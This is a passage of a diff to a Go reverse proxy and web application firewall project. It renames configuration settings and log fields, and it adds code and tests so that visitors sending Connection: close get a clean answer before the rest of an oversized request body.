|||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||||
endpointParams.RootCAs = roots
|
endpointParams.RootCAs = roots
|
||||||
endpointParams.Buffer = 3
|
endpointParams.BufferLines = 3
|
||||||
sender, _, _ := run(t, endpointParams)
|
sender, _, _ := run(t, endpointParams)
|
||||||
|
|
||||||
// The sender connects, and its TLS handshake waits for an answer
|
// The sender connects, and its TLS handshake waits for an answer
|
||||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
|||||||
// appName.
|
// appName.
|
||||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||||
return remotelog.Params{
|
return remotelog.Params{
|
||||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||||
Buffer: 10,
|
BufferLines: 10,
|
||||||
Facility: local0,
|
Facility: local0,
|
||||||
AppName: appName,
|
AppName: appName,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -65,8 +65,8 @@ type AbuseIPDBParams struct {
|
|||||||
MinScore int64
|
MinScore int64
|
||||||
DailyBudget int
|
DailyBudget int
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
// CacheTTL is how long a score is used after it was fetched
|
||||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
|
||||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
|
|||||||
@@ -60,8 +60,8 @@ type DNSBLParams struct {
|
|||||||
// host's, as /etc/resolv.conf names it.
|
// host's, as /etc/resolv.conf names it.
|
||||||
Resolver netip.AddrPort
|
Resolver netip.AddrPort
|
||||||
// CacheTTL is how long a verdict is used after it was fetched
|
// CacheTTL is how long a verdict is used after it was fetched
|
||||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
|
||||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
|
|||||||
@@ -40,10 +40,11 @@ const (
|
|||||||
// zone and otherZone are the DNSBL zones the tests name.
|
// zone and otherZone are the DNSBL zones the tests name.
|
||||||
zone = "dnsbl.example"
|
zone = "dnsbl.example"
|
||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||||
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||||
// can have Go's resolver wait for one server, so that it is the
|
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
||||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
// it is the DNSBL's own timeout that ends a query, whatever that file
|
||||||
|
// says.
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
timeout = time.Second
|
timeout = time.Second
|
||||||
// listed and unlisted are clients zone is asked about by the names
|
// listed and unlisted are clients zone is asked about by the names
|
||||||
|
|||||||
@@ -44,13 +44,14 @@ const (
|
|||||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||||
|
|
||||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||||
|
|
||||||
// ActionClientDenied is a request refused because its client is in
|
// ActionClientDenied is a request refused because its client is in
|
||||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||||
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
|
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
|
||||||
|
// SWW_WAF_TAG_DENY.
|
||||||
ActionClientDenied = "client_denied"
|
ActionClientDenied = "client_denied"
|
||||||
|
|
||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
@@ -62,12 +63,12 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// OffenceLimit is the offence a request line names for a request that
|
// OffenceLimit is the offence a request line names for a request that
|
||||||
// broke a rate limit or the error burst, or whose bytes broke a byte
|
// broke a rate limit or the refusal limit, or whose bytes broke a byte
|
||||||
// limit.
|
// limit.
|
||||||
const OffenceLimit = "limit"
|
const OffenceLimit = "limit"
|
||||||
|
|
||||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||||
// that broke the error burst.
|
// that broke the refusal limit.
|
||||||
const LimitHitMinuteRefusals = "minute_refusals"
|
const LimitHitMinuteRefusals = "minute_refusals"
|
||||||
|
|
||||||
// The waf_line a request line names, which says which of
|
// The waf_line a request line names, which says which of
|
||||||
@@ -180,7 +181,7 @@ type Line struct {
|
|||||||
// LimitHit is the window whose limit the request went over, named as
|
// LimitHit is the window whose limit the request went over, named as
|
||||||
// Counts names its count: minute, hour or day for a rate limit, and
|
// Counts names its count: minute, hour or day for a rate limit, and
|
||||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||||
// LimitHitMinuteRefusals for the error burst.
|
// LimitHitMinuteRefusals for the refusal limit.
|
||||||
LimitHit string `json:"limit_hit,omitempty"`
|
LimitHit string `json:"limit_hit,omitempty"`
|
||||||
// Reputation are the URLs of the blocklists that list the client, then
|
// Reputation are the URLs of the blocklists that list the client, then
|
||||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||||
@@ -233,10 +234,11 @@ type RProxyLine struct {
|
|||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition waf answered or, while
|
// Disposition is the valid disposition waf answered or, while
|
||||||
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
|
// WAFBackendNoAnswer is true, the value of
|
||||||
// when neither gave one.
|
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||||
|
// gave one.
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write writes line to w as one JSON line marked "type":"request".
|
// Write writes line to w as one JSON line marked "type":"request".
|
||||||
|
|||||||
@@ -26,6 +26,10 @@ import (
|
|||||||
// post is the start of a POST whose headers end with what follows it.
|
// post is the start of a POST whose headers end with what follows it.
|
||||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||||
|
|
||||||
|
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||||
|
// body, the 64 KiB rproxy reads before it asks waf.
|
||||||
|
const limitPastFirstPart = "128K"
|
||||||
|
|
||||||
// announcedLength is the header that announces a body of size bytes, and the
|
// announcedLength is the header that announces a body of size bytes, and the
|
||||||
// end of the headers.
|
// end of the headers.
|
||||||
func announcedLength(size int) string {
|
func announcedLength(size int) string {
|
||||||
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
size, asked int
|
size, asked int
|
||||||
}{
|
}{
|
||||||
{"with the limit within the first part", "1K", 1025, 1024},
|
{"with the limit within the first part", "1K", 1025, 1024},
|
||||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
{
|
||||||
|
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||||
|
questionBodyMaxBytes,
|
||||||
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -93,10 +100,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||||
bytes.NewReader(make([]byte, tc.size))))
|
// of the body before it closes the connection. Closed with the rest
|
||||||
if got.status != http.StatusRequestEntityTooLarge {
|
// unread, the connection is reset while the visitor still sends.
|
||||||
t.Errorf("answered %+v, want 413", got)
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+announcedLength(tc.size)+
|
||||||
|
strings.Repeat("x", tc.size))
|
||||||
|
|
||||||
|
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||||
|
t.Errorf("status %d, want 413", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
@@ -131,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
waf http.HandlerFunc
|
||||||
|
rest int
|
||||||
|
status int
|
||||||
|
}{
|
||||||
|
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||||
|
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||||
|
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||||
|
// connection's buffers. Otherwise the visitor is still sending when the
|
||||||
|
// connection closes, and gets a reset.
|
||||||
|
{
|
||||||
|
"with more than 256 KiB left", allow, 272 << 10,
|
||||||
|
http.StatusRequestEntityTooLarge,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, tc.waf)
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||||
|
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
|
||||||
|
res, err := http.ReadResponse(reader, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read the answer: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _ = io.Copy(io.Discard, res.Body)
|
||||||
|
_ = res.Body.Close()
|
||||||
|
|
||||||
|
if res.StatusCode != tc.status {
|
||||||
|
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The rest goes in small parts, so that a reset fails a later one.
|
||||||
|
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||||
|
send(t, conn, strings.Repeat("x", 1<<10))
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := io.ReadAll(reader)
|
||||||
|
if err != nil || len(got) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"after the answer, read %q and %v, want the end",
|
||||||
|
got,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.Header().Set(dispositionHeader, dispositionClose)
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
})
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||||
|
text, err := io.ReadAll(conn)
|
||||||
|
if err != nil || len(text) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, allow)
|
||||||
|
// The flush has the app's server send greeting in chunks instead of adding a
|
||||||
|
// Content-Length.
|
||||||
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
rc := http.NewResponseController(w)
|
||||||
|
_ = rc.EnableFullDuplex()
|
||||||
|
|
||||||
|
_, _ = io.WriteString(w, greeting)
|
||||||
|
_ = rc.Flush()
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||||
|
|
||||||
|
wantGreeting(t, readAnswer(t, conn))
|
||||||
|
}
|
||||||
|
|
||||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -143,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
mayReachApp bool
|
mayReachApp bool
|
||||||
}{
|
}{
|
||||||
{"within the first part", "1K", 2 << 10, false},
|
{"within the first part", "1K", 2 << 10, false},
|
||||||
{"past the first part", "128K", 129 << 10, true},
|
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
||||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("line %v, want status 405 and no disposition", line)
|
t.Errorf("line %v, want status 405 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadRequest) ||
|
if line["status"] != float64(http.StatusBadRequest) ||
|
||||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("line %v, want status 400 and no disposition", line)
|
t.Errorf("line %v, want status 400 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+40
-10
@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
|
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||||
|
// reads once the handler returns, for a visitor without Connection: close.
|
||||||
|
const maxBodyReadAfterAnswer = 256 << 10
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
@@ -61,12 +65,13 @@ type request struct {
|
|||||||
start time.Time
|
start time.Time
|
||||||
|
|
||||||
// disposition is what is done with the request: waf's valid disposition,
|
// disposition is what is done with the request: waf's valid disposition,
|
||||||
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||||
|
// gave one.
|
||||||
disposition string
|
disposition string
|
||||||
// answered is true when waf gave disposition, which makes a report due,
|
// answered is true when waf gave disposition, which makes a report due,
|
||||||
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
|
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
|
||||||
answered bool
|
answered bool
|
||||||
byDefault bool
|
wafNoAnswer bool
|
||||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||||
// app.
|
// app.
|
||||||
asn, country string
|
asn, country string
|
||||||
@@ -338,8 +343,8 @@ func (rq *request) answer(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A visitor found too slow is read no more; any other may go on sending until
|
// A visitor found too slow is read no more; any other may go on sending until
|
||||||
// its time is up, so that Go's server can read the rest of the body and end
|
// its time is up, so that the rest of the body is read and the request ends
|
||||||
// the request cleanly.
|
// cleanly: by Go's server, or by readRestOfBody.
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
if status == http.StatusRequestTimeout {
|
if status == http.StatusRequestTimeout {
|
||||||
deadline = time.Now()
|
deadline = time.Now()
|
||||||
@@ -450,7 +455,7 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
),
|
),
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
Disposition: rq.disposition,
|
Disposition: rq.disposition,
|
||||||
DefaultDisposition: rq.byDefault,
|
WAFBackendNoAnswer: rq.wafNoAnswer,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -523,10 +528,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||||
|
// has been answered with a Content-Length, until the read deadline already set on
|
||||||
|
// the connection. It does this only for a body with a declared length from a
|
||||||
|
// visitor that sent Connection: close, because Go's server reads none of that
|
||||||
|
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||||
|
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||||
|
// the handler returns, so reading first would hold back the end of that answer.
|
||||||
|
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||||
|
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||||
|
// the connection.
|
||||||
|
func (rq *request) readRestOfBody() {
|
||||||
|
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||||
|
rq.out.Header().Get("Content-Length") == "" ||
|
||||||
|
rq.out.status == http.StatusSwitchingProtocols {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rest := http.MaxBytesReader(
|
||||||
|
rq.out.ResponseWriter,
|
||||||
|
rq.in.Body,
|
||||||
|
maxBodyReadAfterAnswer,
|
||||||
|
)
|
||||||
|
_, _ = io.Copy(io.Discard, rest)
|
||||||
|
}
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||||
// server reads it once the handler returns, but with no deadline at all if
|
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||||
// another read of it is still waiting.
|
// at all if another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -1,9 +1,10 @@
|
|||||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||||
// about each request. It passes a request waf allows to the app and the
|
// about each request. It passes a request waf allows to the app and the
|
||||||
// app's answer back, within the size and time limits. Any other answer from
|
// app's answer back, within the size and time limits. Any other answer from
|
||||||
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
|
// waf goes to the visitor as waf gave it.
|
||||||
// decides only when waf cannot be connected to, does not answer at all, or
|
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
|
||||||
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
|
// be connected to, does not answer at all, or does not answer within
|
||||||
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||||
// method it does not pass on, or one it cannot put to waf as the visitor
|
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||||
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
||||||
// SPEC.md says what it does.
|
// SPEC.md says what it does.
|
||||||
@@ -108,8 +109,8 @@ func New(params Params) *Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WaitForReports returns once the reports being sent have gone or failed,
|
// WaitForReports returns once the reports being sent have gone or failed,
|
||||||
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||||
// a WebSocket that closes while rproxy stops, for one.
|
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
||||||
func (s *Server) WaitForReports() {
|
func (s *Server) WaitForReports() {
|
||||||
s.h.reportsMu.Lock()
|
s.h.reportsMu.Lock()
|
||||||
s.h.reportsStopped = true
|
s.h.reportsStopped = true
|
||||||
@@ -169,6 +170,7 @@ func newWAFTransport() *http.Transport {
|
|||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
|
defer rq.readRestOfBody()
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
@@ -217,7 +219,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||||
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
|
// such a request gets here only when
|
||||||
|
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
|
||||||
// ctx is the request's own context.
|
// ctx is the request's own context.
|
||||||
func (rq *request) passToApp(ctx context.Context) {
|
func (rq *request) passToApp(ctx context.Context) {
|
||||||
maxBytes := rq.h.config.MaxRequestSize
|
maxBytes := rq.h.config.MaxRequestSize
|
||||||
|
|||||||
@@ -44,13 +44,13 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The headers the tests set and look at.
|
// The headers the tests set and look at.
|
||||||
@@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["default_disposition"] != nil {
|
line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("line %v, want waf's deny", line)
|
t.Errorf("line %v, want waf's deny", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -956,7 +956,8 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// noAnswers are the ways waf can leave the decision to the default.
|
// noAnswers are the ways waf can leave the decision to
|
||||||
|
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
||||||
func noAnswers() map[string]func(t *testing.T) string {
|
func noAnswers() map[string]func(t *testing.T) string {
|
||||||
return map[string]func(t *testing.T) string{
|
return map[string]func(t *testing.T) string{
|
||||||
"no connection": func(*testing.T) string { return nowhere },
|
"no connection": func(*testing.T) string { return nowhere },
|
||||||
@@ -1008,7 +1009,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
